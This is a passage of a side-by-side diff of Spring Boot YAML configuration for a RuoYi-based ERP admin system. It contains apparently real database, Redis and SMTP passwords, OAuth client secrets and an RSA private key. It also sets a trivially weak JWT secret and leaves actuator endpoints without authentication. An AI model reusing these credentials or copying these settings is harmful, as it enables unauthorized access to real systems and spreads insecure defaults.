client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=baidu redirect-uri: ${justauth.address}/social-callback?source=csdn
csdn: coding:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=csdn redirect-uri: ${justauth.address}/social-callback?source=coding
coding: coding-group-name: xx
client-id: 10**********6 oschina:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=coding client-secret: 1f7d08**********5b7**********29e
coding-group-name: xx redirect-uri: ${justauth.address}/social-callback?source=oschina
oschina: alipay_wallet:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=oschina redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet
alipay_wallet: alipay-public-key: MIIB**************DAQAB
client-id: 10**********6 wechat_open:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet client-secret: 1f7d08**********5b7**********29e
alipay-public-key: MIIB**************DAQAB redirect-uri: ${justauth.address}/social-callback?source=wechat_open
wechat_open: wechat_mp:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_open redirect-uri: ${justauth.address}/social-callback?source=wechat_mp
wechat_mp: wechat_enterprise:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_mp redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise
wechat_enterprise: agent-id: 1000002
client-id: 10**********6 gitlab:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise client-secret: 1f7d08**********5b7**********29e
agent-id: 1000002 redirect-uri: ${justauth.address}/social-callback?source=gitlab
gitlab:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=gitlab

View File

@@ -1,256 +1,256 @@
--- # 临时文件存储位置 避免临时文件被系统清理报错 --- # 临时文件存储位置 避免临时文件被系统清理报错
spring.servlet.multipart.location: /ruoyi/server/temp spring.servlet.multipart.location: /ruoyi/server/temp
--- # 监控中心配置 --- # 监控中心配置
spring.boot.admin.client: spring.boot.admin.client:
# 增加客户端开关 # 增加客户端开关
enabled: true enabled: true
url: http://erp.52o.site:9090 url: http://erp.52o.site:9090
instance: instance:
service-host-type: IP service-host-type: IP
metadata: metadata:
username: ${spring.boot.admin.client.username} username: ${spring.boot.admin.client.username}
userpassword: ${spring.boot.admin.client.password} userpassword: ${spring.boot.admin.client.password}
username: @monitor.username@ username: @monitor.username@
password: @monitor.password@ password: @monitor.password@
--- # snail-job 配置 --- # snail-job 配置
snail-job: snail-job:
enabled: true enabled: false
# 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务
group: "ruoyi_group" group: "ruoyi_group"
# SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表
token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT"
server: server:
host: 127.0.0.1 host: 127.0.0.1
port: 17888 port: 17888
# 详见 script/sql/snail_job.sql `sj_namespace` 表 # 详见 script/sql/snail_job.sql `sj_namespace` 表
namespace: ${spring.profiles.active} namespace: ${spring.profiles.active}
# 随主应用端口飘逸 # 随主应用端口飘逸
port: 2${server.port} port: 2${server.port}
# 客户端ip指定 # 客户端ip指定
host: 127.0.0.1 host: 127.0.0.1
--- # 数据源配置 --- # 数据源配置
spring: spring:
datasource: datasource:
type: com.zaxxer.hikari.HikariDataSource type: com.zaxxer.hikari.HikariDataSource
# 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content
dynamic: dynamic:
# 性能分析插件(有性能损耗 不建议生产环境使用) # 性能分析插件(有性能损耗 不建议生产环境使用)
p6spy: false p6spy: false
# 设置默认的数据源或者数据源组,默认值即为 master # 设置默认的数据源或者数据源组,默认值即为 master
primary: master primary: master
# 严格模式 匹配不到数据源则报错 # 严格模式 匹配不到数据源则报错
strict: true strict: true
datasource: datasource:
# 主库数据源 # 主库数据源
master: master:
type: ${spring.datasource.type} type: ${spring.datasource.type}
driverClassName: com.mysql.cj.jdbc.Driver driverClassName: com.mysql.cj.jdbc.Driver
# jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562
# rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题)
url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
username: sjzx0618 username: sjzx0618
password: 2b1%Hk3#1Uolol password: 2b1%Hk3#1Uolol
# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true # url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# username: root # username: root
# password: root # password: root
# 从库数据源 # 从库数据源
slave: slave:
lazy: false lazy: false
type: ${spring.datasource.type} type: ${spring.datasource.type}
driverClassName: com.mysql.cj.jdbc.Driver driverClassName: com.mysql.cj.jdbc.Driver
url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true url: jdbc:mysql://jcs-mysql.52o.site:13306/erpdemo20260109?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
username: sjzx0618 username: erpdemo20260109
password: 2b1%Hk3#1Uolol password: s5y46y76P2S5753T
# url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true # url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# username: root # username: root
# password: root # password: root
hikari: hikari:
# 最大连接池数量 # 最大连接池数量
maxPoolSize: 20 maxPoolSize: 20
# 最小空闲线程数量 # 最小空闲线程数量
minIdle: 10 minIdle: 10
# 配置获取连接等待超时的时间 # 配置获取连接等待超时的时间
connectionTimeout: 30000 connectionTimeout: 30000
# 校验超时时间 # 校验超时时间
validationTimeout: 5000 validationTimeout: 5000
# 空闲连接存活最大时间默认10分钟 # 空闲连接存活最大时间默认10分钟
idleTimeout: 600000 idleTimeout: 600000
# 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟 # 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟
maxLifetime: 1800000 maxLifetime: 1800000
# 多久检查一次连接的活性 # 多久检查一次连接的活性
keepaliveTime: 30000 keepaliveTime: 30000
--- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) --- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉)
spring.data: spring.data:
redis: redis:
# 地址 # 地址
host: sh-crs-2xoizlg8.sql.tencentcdb.com host: jcs-mysql.52o.site
# 端口默认为6379 # 端口默认为6379
port: 22002 port: 26739
# 数据库索引 # 数据库索引
database: 1 database: 1
# redis 密码必须配置 # redis 密码必须配置
password: Songhaihua999 password: 3NpZYtRLr6EnfASr
# 连接超时时间 # 连接超时时间
timeout: 10s timeout: 10s
# 是否开启ssl # 是否开启ssl
ssl.enabled: false ssl.enabled: false
# redisson 配置 # redisson 配置
redisson: redisson:
# redis key前缀 # redis key前缀
keyPrefix: keyPrefix:
# 线程池数量 # 线程池数量
threads: 16 threads: 16
# Netty线程池数量 # Netty线程池数量
nettyThreads: 32 nettyThreads: 32
# 单节点配置 # 单节点配置
singleServerConfig: singleServerConfig:
# 客户端名称 # 客户端名称
clientName: ${ruoyi.name} clientName: ${ruoyi.name}
# 最小空闲连接数 # 最小空闲连接数
connectionMinimumIdleSize: 32 connectionMinimumIdleSize: 32
# 连接池大小 # 连接池大小
connectionPoolSize: 64 connectionPoolSize: 64
# 连接空闲超时,单位:毫秒 # 连接空闲超时,单位:毫秒
idleConnectionTimeout: 10000 idleConnectionTimeout: 10000
# 命令等待超时,单位:毫秒 # 命令等待超时,单位:毫秒
timeout: 3000 timeout: 3000
# 发布和订阅连接池大小 # 发布和订阅连接池大小
subscriptionConnectionPoolSize: 50 subscriptionConnectionPoolSize: 50
--- # mail 邮件发送 --- # mail 邮件发送
mail: mail:
enabled: false enabled: false
host: smtp.163.com host: smtp.163.com
port: 25 port: 25
# 是否需要用户名密码验证 # 是否需要用户名密码验证
auth: true auth: true
# 发送方遵循RFC-822标准 # 发送方遵循RFC-822标准
from: admin@163.com from: admin@163.com
# 用户名注意如果使用foxmail邮箱此处user为qq号 # 用户名注意如果使用foxmail邮箱此处user为qq号
user: admin@163.com user: admin@163.com
# 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助 # 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助
pass: LGj5ingctYT2SNJS pass: LGj5ingctYT2SNJS
# 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。 # 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。
starttlsEnable: false starttlsEnable: false
# 使用SSL安全连接 # 使用SSL安全连接
sslEnable: false sslEnable: false
# SMTP超时时长单位毫秒缺省值不超时 # SMTP超时时长单位毫秒缺省值不超时
timeout: 0 timeout: 0
# Socket连接超时值单位毫秒缺省值不超时 # Socket连接超时值单位毫秒缺省值不超时
connectionTimeout: 0 connectionTimeout: 0
--- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 --- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商
# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 # https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用
sms: sms:
# 配置源类型用于标定配置来源(interface,yaml) # 配置源类型用于标定配置来源(interface,yaml)
config-type: yaml config-type: yaml
# 用于标定yml中的配置是否开启短信拦截接口配置不受此限制 # 用于标定yml中的配置是否开启短信拦截接口配置不受此限制
restricted: true restricted: true
# 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效
minute-max: 1 minute-max: 1
# 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效
account-max: 30 account-max: 30
# 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中
blends: blends:
# 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可
# 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户
config1: config1:
# 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
supplier: alibaba supplier: alibaba
# 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。 # 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。
access-key-id: 您的accessKey access-key-id: 您的accessKey
# 称为accessSecret有些称之为apiSecret # 称为accessSecret有些称之为apiSecret
access-key-secret: 您的accessKeySecret access-key-secret: 您的accessKeySecret
signature: 您的短信签名 signature: 您的短信签名
sdk-app-id: 您的sdkAppId sdk-app-id: 您的sdkAppId
config2: config2:
# 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
supplier: tencent supplier: tencent
access-key-id: 您的accessKey access-key-id: 您的accessKey
access-key-secret: 您的accessKeySecret access-key-secret: 您的accessKeySecret
signature: 您的短信签名 signature: 您的短信签名
sdk-app-id: 您的sdkAppId sdk-app-id: 您的sdkAppId
--- # 三方授权 --- # 三方授权
justauth: justauth:
# 前端外网访问地址 # 前端外网访问地址
address: http://localhost:80 address: http://localhost:80
type: type:
maxkey: maxkey:
# maxkey 服务器地址 # maxkey 服务器地址
# 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据
server-url: http://sso.maxkey.top server-url: http://sso.maxkey.top
client-id: 876892492581044224 client-id: 876892492581044224
client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8
redirect-uri: ${justauth.address}/social-callback?source=maxkey redirect-uri: ${justauth.address}/social-callback?source=maxkey
topiam: topiam:
# topiam 服务器地址 # topiam 服务器地址
server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol
client-id: 449c4*********937************759 client-id: 449c4*********937************759
client-secret: ac7***********1e0************28d client-secret: ac7***********1e0************28d
redirect-uri: ${justauth.address}/social-callback?source=topiam redirect-uri: ${justauth.address}/social-callback?source=topiam
scopes: [ openid, email, phone, profile ] scopes: [ openid, email, phone, profile ]
qq: qq:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=qq redirect-uri: ${justauth.address}/social-callback?source=qq
union-id: false union-id: false
weibo: weibo:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=weibo redirect-uri: ${justauth.address}/social-callback?source=weibo
gitee: gitee:
client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98
client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac
redirect-uri: ${justauth.address}/social-callback?source=gitee redirect-uri: ${justauth.address}/social-callback?source=gitee
dingtalk: dingtalk:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=dingtalk redirect-uri: ${justauth.address}/social-callback?source=dingtalk
baidu: baidu:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=baidu redirect-uri: ${justauth.address}/social-callback?source=baidu
csdn: csdn:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=csdn redirect-uri: ${justauth.address}/social-callback?source=csdn
coding: coding:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=coding redirect-uri: ${justauth.address}/social-callback?source=coding
coding-group-name: xx coding-group-name: xx
oschina: oschina:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=oschina redirect-uri: ${justauth.address}/social-callback?source=oschina
alipay_wallet: alipay_wallet:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet
alipay-public-key: MIIB**************DAQAB alipay-public-key: MIIB**************DAQAB
wechat_open: wechat_open:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_open redirect-uri: ${justauth.address}/social-callback?source=wechat_open
wechat_mp: wechat_mp:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_mp redirect-uri: ${justauth.address}/social-callback?source=wechat_mp
wechat_enterprise: wechat_enterprise:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise
agent-id: 1000002 agent-id: 1000002
gitlab: gitlab:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=gitlab redirect-uri: ${justauth.address}/social-callback?source=gitlab

View File

@@ -1,303 +1,303 @@
# 项目相关配置 # 项目相关配置
ruoyi: ruoyi:
# 名称 # 名称
name: XGT-ADMIN name: XGT-ADMIN
# 版本 # 版本
version: ${revision} version: ${revision}
# 版权年份 # 版权年份
copyrightYear: 2024 copyrightYear: 2024
captcha: captcha:
enable: true enable: true
# 页面 <参数设置> 可开启关闭 验证码校验 # 页面 <参数设置> 可开启关闭 验证码校验
# 验证码类型 math 数组计算 char 字符验证 # 验证码类型 math 数组计算 char 字符验证
type: MATH type: MATH
# line 线段干扰 circle 圆圈干扰 shear 扭曲干扰 # line 线段干扰 circle 圆圈干扰 shear 扭曲干扰
category: CIRCLE category: CIRCLE
# 数字验证码位数 # 数字验证码位数
numberLength: 1 numberLength: 1
# 字符验证码长度 # 字符验证码长度
charLength: 4 charLength: 4
# 开发环境配置 # 开发环境配置
server: server:
# 服务器的HTTP端口默认为8080 # 服务器的HTTP端口默认为8080
port: 8088 port: 8088
servlet: servlet:
# 应用的访问路径 # 应用的访问路径
context-path: / context-path: /
# undertow 配置 # undertow 配置
undertow: undertow:
# HTTP post内容的最大大小。当值为-1时默认值为大小是无限的 # HTTP post内容的最大大小。当值为-1时默认值为大小是无限的
max-http-post-size: -1 max-http-post-size: -1
# 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理 # 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理
# 每块buffer的空间大小,越小的空间被利用越充分 # 每块buffer的空间大小,越小的空间被利用越充分
buffer-size: 512 buffer-size: 512
# 是否分配的直接内存 # 是否分配的直接内存
direct-buffers: true direct-buffers: true
threads: threads:
# 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程 # 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程
io: 8 io: 8
# 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载 # 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载
worker: 256 worker: 256
# 日志配置 # 日志配置
logging: logging:
level: level:
org.dromara: @logging.level@ org.dromara: @logging.level@
org.springframework: warn org.springframework: warn
org.mybatis.spring.mapper: error org.mybatis.spring.mapper: error
org.apache.fury: warn org.apache.fury: warn
config: classpath:logback-plus.xml config: classpath:logback-plus.xml
# 用户配置 # 用户配置
user: user:
password: password:
# 密码最大错误次数 # 密码最大错误次数
maxRetryCount: 5 maxRetryCount: 5
# 密码锁定时间默认10分钟 # 密码锁定时间默认10分钟
lockTime: 10 lockTime: 10
# Spring配置 # Spring配置
spring: spring:
application: application:
name: ${ruoyi.name} name: ${ruoyi.name}
threads: threads:
# 开启虚拟线程 仅jdk21可用 # 开启虚拟线程 仅jdk21可用
virtual: virtual:
enabled: false enabled: false
# 资源信息 # 资源信息
messages: messages:
# 国际化资源文件路径 # 国际化资源文件路径
basename: i18n/messages basename: i18n/messages
profiles: profiles:
active: @profiles.active@ active: @profiles.active@
# 文件上传 # 文件上传
servlet: servlet:
multipart: multipart:
# 单个文件大小 # 单个文件大小
max-file-size: 10MB max-file-size: 10MB
# 设置总上传的文件大小 # 设置总上传的文件大小
max-request-size: 20MB max-request-size: 20MB
mvc: mvc:
# 设置静态资源路径 防止所有请求都去查静态资源 # 设置静态资源路径 防止所有请求都去查静态资源
static-path-pattern: /static/** static-path-pattern: /static/**
format: format:
date-time: yyyy-MM-dd HH:mm:ss date-time: yyyy-MM-dd HH:mm:ss
jackson: jackson:
# 日期格式化 # 日期格式化
date-format: yyyy-MM-dd HH:mm:ss date-format: yyyy-MM-dd HH:mm:ss
serialization: serialization:
# 格式化输出 # 格式化输出
indent_output: false indent_output: false
# 忽略无法转换的对象 # 忽略无法转换的对象
fail_on_empty_beans: false fail_on_empty_beans: false
deserialization: deserialization:
# 允许对象忽略json中不存在的属性 # 允许对象忽略json中不存在的属性
fail_on_unknown_properties: false fail_on_unknown_properties: false
# Sa-Token配置 # Sa-Token配置
sa-token: sa-token:
# token名称 (同时也是cookie名称) # token名称 (同时也是cookie名称)
token-name: Authorization token-name: Authorization
# 是否允许同一账号并发登录 (为true时允许一起登录, 为false时新登录挤掉旧登录) # 是否允许同一账号并发登录 (为true时允许一起登录, 为false时新登录挤掉旧登录)
is-concurrent: true is-concurrent: true
# 在多人登录同一账号时是否共用一个token (为true时所有登录共用一个token, 为false时每次登录新建一个token) # 在多人登录同一账号时是否共用一个token (为true时所有登录共用一个token, 为false时每次登录新建一个token)
is-share: false is-share: false
# jwt秘钥 # jwt秘钥
jwt-secret-key: abcdefghijklmnopqrstuvwxyz jwt-secret-key: abcdefghijklmnopqrstuvwxyz
# security配置 # security配置
security: security:
# 排除路径 # 排除路径
excludes: excludes:
- /*.html - /*.html
- /**/*.html - /**/*.html
- /**/*.css - /**/*.css
- /**/*.js - /**/*.js
- /favicon.ico - /favicon.ico
- /error - /error
- /*/api-docs - /*/api-docs
- /*/api-docs/** - /*/api-docs/**
# actuator 监控配置 # actuator 监控配置
- /actuator - /actuator
- /actuator/** - /actuator/**
- /banner - /banner
- /banner/** - /banner/**
- /prod/** - /prod/**
- /notifyCheckSign - /notifyCheckSign
- /system/dict/data/** - /system/dict/data/**
- /work/panorama/listByOrderId - /work/panorama/listByOrderId
- /wx/jssdk - /wx/jssdk
- /api/user/** - /api/user/**
- /api/home/** - /api/home/**
# 多租户配置 # 多租户配置
tenant: tenant:
# 是否开启 # 是否开启
enable: false enable: false
# 排除表 # 排除表
excludes: excludes:
- sys_menu - sys_menu
- sys_tenant - sys_tenant
- sys_tenant_package - sys_tenant_package
- sys_role_dept - sys_role_dept
- sys_role_menu - sys_role_menu
- sys_user_post - sys_user_post
- sys_user_role - sys_user_role
- sys_client - sys_client
- sys_oss_config - sys_oss_config
# MyBatisPlus配置 # MyBatisPlus配置
# https://baomidou.com/config/ # https://baomidou.com/config/
mybatis-plus: mybatis-plus:
# 多包名使用 例如 org.dromara.**.mapper,org.xxx.**.mapper # 多包名使用 例如 org.dromara.**.mapper,org.xxx.**.mapper
mapperPackage: org.dromara.**.mapper mapperPackage: org.dromara.**.mapper
# 对应的 XML 文件位置 # 对应的 XML 文件位置
mapperLocations: classpath*:mapper/**/*Mapper.xml mapperLocations: classpath*:mapper/**/*Mapper.xml
# 实体扫描多个package用逗号或者分号分隔 # 实体扫描多个package用逗号或者分号分隔
typeAliasesPackage: org.dromara.**.domain typeAliasesPackage: org.dromara.**.domain
global-config: global-config:
dbConfig: dbConfig:
# 主键类型 # 主键类型
# AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID # AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID
# 如需改为自增 需要将数据库表全部设置为自增 # 如需改为自增 需要将数据库表全部设置为自增
idType: AUTO idType: AUTO
# 数据加密 # 数据加密
mybatis-encryptor: mybatis-encryptor:
# 是否开启加密 # 是否开启加密
enable: false enable: false
# 默认加密算法 # 默认加密算法
algorithm: BASE64 algorithm: BASE64
# 编码方式 BASE64/HEX。默认BASE64 # 编码方式 BASE64/HEX。默认BASE64
encode: BASE64 encode: BASE64
# 安全秘钥 对称算法的秘钥 如AESSM4 # 安全秘钥 对称算法的秘钥 如AESSM4
password: password:
# 公私钥 非对称算法的公私钥 如SM2RSA # 公私钥 非对称算法的公私钥 如SM2RSA
publicKey: publicKey:
privateKey: privateKey:
# api接口加密 # api接口加密
api-decrypt: api-decrypt:
# 是否开启全局接口加密 # 是否开启全局接口加密
enabled: true enabled: true
# AES 加密头标识 # AES 加密头标识
headerFlag: encrypt-key headerFlag: encrypt-key
# 响应加密公钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换 # 响应加密公钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换
# 对应前端解密私钥 MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAmc3CuPiGL/LcIIm7zryCEIbl1SPzBkr75E2VMtxegyZ1lYRD+7TZGAPkvIsBcaMs6Nsy0L78n2qh+lIZMpLH8wIDAQABAkEAk82Mhz0tlv6IVCyIcw/s3f0E+WLmtPFyR9/WtV3Y5aaejUkU60JpX4m5xNR2VaqOLTZAYjW8Wy0aXr3zYIhhQQIhAMfqR9oFdYw1J9SsNc+CrhugAvKTi0+BF6VoL6psWhvbAiEAxPPNTmrkmrXwdm/pQQu3UOQmc2vCZ5tiKpW10CgJi8kCIFGkL6utxw93Ncj4exE/gPLvKcT+1Emnoox+O9kRXss5AiAMtYLJDaLEzPrAWcZeeSgSIzbL+ecokmFKSDDcRske6QIgSMkHedwND1olF8vlKsJUGK3BcdtM8w4Xq7BpSBwsloE= # 对应前端解密私钥 MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAmc3CuPiGL/LcIIm7zryCEIbl1SPzBkr75E2VMtxegyZ1lYRD+7TZGAPkvIsBcaMs6Nsy0L78n2qh+lIZMpLH8wIDAQABAkEAk82Mhz0tlv6IVCyIcw/s3f0E+WLmtPFyR9/WtV3Y5aaejUkU60JpX4m5xNR2VaqOLTZAYjW8Wy0aXr3zYIhhQQIhAMfqR9oFdYw1J9SsNc+CrhugAvKTi0+BF6VoL6psWhvbAiEAxPPNTmrkmrXwdm/pQQu3UOQmc2vCZ5tiKpW10CgJi8kCIFGkL6utxw93Ncj4exE/gPLvKcT+1Emnoox+O9kRXss5AiAMtYLJDaLEzPrAWcZeeSgSIzbL+ecokmFKSDDcRske6QIgSMkHedwND1olF8vlKsJUGK3BcdtM8w4Xq7BpSBwsloE=
publicKey: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJnNwrj4hi/y3CCJu868ghCG5dUj8wZK++RNlTLcXoMmdZWEQ/u02RgD5LyLAXGjLOjbMtC+/J9qofpSGTKSx/MCAwEAAQ== publicKey: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJnNwrj4hi/y3CCJu868ghCG5dUj8wZK++RNlTLcXoMmdZWEQ/u02RgD5LyLAXGjLOjbMtC+/J9qofpSGTKSx/MCAwEAAQ==
# 请求解密私钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换 # 请求解密私钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换
